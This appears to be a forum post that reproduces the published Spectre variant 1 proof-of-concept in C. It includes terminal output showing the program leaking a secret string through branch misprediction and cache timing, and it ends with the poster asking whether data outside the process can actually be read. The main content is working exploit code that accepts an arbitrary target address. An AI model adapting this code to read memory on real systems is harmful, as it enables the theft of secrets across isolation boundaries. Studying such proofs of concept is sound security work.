Spectre.pdf illustrated c++ code verbatim

output when compiled using g++ and ran like . slash a.out

root@ubuntu:~# ./a.out
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeba8... Unclear: 0x54='T' score=980 (second best: 0x02 score=706)
Reading at malicious_x = 0xffffffffffdfeba9... Unclear: 0x68='h' score=929 (second best: 0x02 score=709)
Reading at malicious_x = 0xffffffffffdfebaa... Unclear: 0x65='e' score=973 (second best: 0x02 score=786)
Reading at malicious_x = 0xffffffffffdfebab... Unclear: 0x20=' ' score=928 (second best: 0x02 score=784)
Reading at malicious_x = 0xffffffffffdfebac... Unclear: 0x4D='M' score=746 (second best: 0x02 score=730)
Reading at malicious_x = 0xffffffffffdfebad... Unclear: 0x61='a' score=978 (second best: 0x02 score=749)
Reading at malicious_x = 0xffffffffffdfebae... Success: 0x67='g' score=39 (second best: 0x02 score=17)
Reading at malicious_x = 0xffffffffffdfebaf... Unclear: 0x69='i' score=972 (second best: 0x02 score=748)
Reading at malicious_x = 0xffffffffffdfebb0... Unclear: 0x63='c' score=985 (second best: 0x02 score=789)
Reading at malicious_x = 0xffffffffffdfebb1... Unclear: 0x20=' ' score=990 (second best: 0x02 score=848)
Reading at malicious_x = 0xffffffffffdfebb2... Unclear: 0x57='W' score=999 (second best: 0x02 score=824)
Reading at malicious_x = 0xffffffffffdfebb3... Unclear: 0x6F='o' score=999 (second best: 0x02 score=772)
Reading at malicious_x = 0xffffffffffdfebb4... Unclear: 0x72='r' score=999 (second best: 0x02 score=821)
Reading at malicious_x = 0xffffffffffdfebb5... Unclear: 0x64='d' score=999 (second best: 0x02 score=867)
Reading at malicious_x = 0xffffffffffdfebb6... Unclear: 0x73='s' score=999 (second best: 0x02 score=846)
Reading at malicious_x = 0xffffffffffdfebb7... Unclear: 0x20=' ' score=996 (second best: 0x02 score=784)
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x61='a' score=998 (second best: 0x02 score=832)
Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x72='r' score=998 (second best: 0x02 score=795)
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65='e' score=999 (second best: 0x02 score=866)
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=' ' score=41 (second best: 0x02 score=18)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x53='S' score=999 (second best: 0x02 score=865)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x71='q' score=995 (second best: 0x02 score=858)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x75='u' score=999 (second best: 0x02 score=857)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x65='e' score=998 (second best: 0x02 score=847)
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x61='a' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x6D='m' score=999 (second best: 0x02 score=869)
Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x69='i' score=998 (second best: 0x02 score=864)
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x73='s' score=145 (second best: 0x07 score=70)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x68='h' score=999 (second best: 0x02 score=876)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x20=' ' score=999 (second best: 0x02 score=847)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x4F='O' score=996 (second best: 0x02 score=834)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x73='s' score=999 (second best: 0x02 score=823)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x73='s' score=999 (second best: 0x02 score=800)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x69='i' score=999 (second best: 0x02 score=806)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x66='f' score=994 (second best: 0x02 score=810)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x72='r' score=999 (second best: 0x02 score=859)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x61='a' score=995 (second best: 0x02 score=834)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x67='g' score=999 (second best: 0x02 score=838)
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x65='e' score=469 (second best: 0x02 score=232)
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x2E='.' score=13 (second best: 0x02 score=4)
root@ubuntu-512mb-nyc3-01:~#

spectre.cpp

       	 #include <stdio.h>
       	 #include <stdlib.h>
       	 #include <stdint.h>
       	 #ifdef _MSC_VER
       	 #include <intrin.h> /* for rdtscp and clflush */
       	 #pragma optimize("gt",on)
       	 #else
       	 #include <x86intrin.h> /* for rdtscp and clflush */
       	 #endif

       	 /********************************************************************
       	 Victim code.
       	 ********************************************************************/
       	 unsigned int array1_size = 16;
       	 uint8_t unused1[64];
       	 uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
       	 uint8_t unused2[64];
       	 uint8_t array2[256 * 512];

       	 char *secret = "The Magic Words are Squeamish Ossifrage.";

       	 uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */

       	 void victim_function(size_t x) {
       		 if (x < array1_size) {
       		       	temp &= array2[array1[x] * 512];
       		 }
       	 }


       	 /********************************************************************
       	 Analysis code
       	 ********************************************************************/
       	 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

       	 /* Report best guess in value[0] and runner-up in value[1] */
       	 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
       		 static int results[256];
       		 int tries, i, j, k, mix_i = 0; 
                      unsigned int junk = 0; // int was not working - @mkagenius
       		 size_t training_x, x;
       		 register uint64_t time1, time2;
       		 volatile uint8_t *addr;

       		 for (i = 0; i < 256; i++)
       		       	results[i] = 0;
       		 for (tries = 999; tries > 0; tries--) {

       			 /* Flush array2[256*(0..255)] from cache */
       			 for (i = 0; i < 256; i++)
       			 _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

       			 /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
       			 training_x = tries % array1_size;
       			 for (j = 29; j >= 0; j--) {
       			 _mm_clflush(&array1_size);
       			 for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

       			 /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
       			 /* Avoid jumps in case those tip off the branch predictor */
       			 x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
       			 x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
       			 x = training_x ^ (x & (malicious_x ^ training_x));

       			 /* Call the victim! */
       			 victim_function(x);

       		 }

       		 /* Time reads. Order is lightly mixed up to prevent stride prediction */
       		 for (i = 0; i < 256; i++) {
       			 mix_i = ((i * 167) + 13) & 255;
       			 addr = &array2[mix_i * 512];
       			 time1 = __rdtscp(&junk); /* READ TIMER */
       			 junk = *addr; /* MEMORY ACCESS TO TIME */
       			 time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
       			 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
       			 results[mix_i]++; /* cache hit - add +1 to score for this value */
       		 }

       		 /* Locate highest & second-highest results results tallies in j/k */
       		 j = k = -1;
       		 for (i = 0; i < 256; i++) {
       			 if (j < 0 || results[i] >= results[j]) {
       			 k = j;
       			 j = i;
       			 } else if (k < 0 || results[i] >= results[k]) {
       			 k = i;
       			 }
       		 }
       		 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
       			 break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
       		 }
       		 results[0] ^= junk; /* use junk so code above won't get optimized out*/
       		 value[0] = (uint8_t)j;
       		 score[0] = results[j];
       		 value[1] = (uint8_t)k;
       		 score[1] = results[k];
       	 }

 int main(int argc, const char **argv) {
       	 size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
       	 int i, score[2], len=40;
       	 uint8_t value[2];

       	 for (i = 0; i < sizeof(array2); i++)
       	       	array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
       	 if (argc == 3) {
       		 sscanf(argv[1], "%p", (void**)(&malicious_x));
       		 malicious_x -= (size_t)array1; /* Convert input value into a pointer */
       	       	sscanf(argv[2], "%d", &len);
       	 }

       	 printf("Reading %d bytes:\n", len);
       	 while (--len >= 0) {
       		 printf("Reading at malicious_x = %p... ", (void*)malicious_x);
       		 readMemoryByte(malicious_x++, value, score);
       		 printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
       		 printf("0x%02X='%c' score=%d ", value[0],
       		 (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
       		 if (score[1] > 0)
       		       	printf("(second best: 0x%02X score=%d)", value[1], score[1]);
       		 printf("\n");
       	 }
       	 return (0);
}

But is it really possible to steal non-process data as it said by mass media? I figured out by running this code that it only shows data inside a process, even reading file data inside victim function does nothing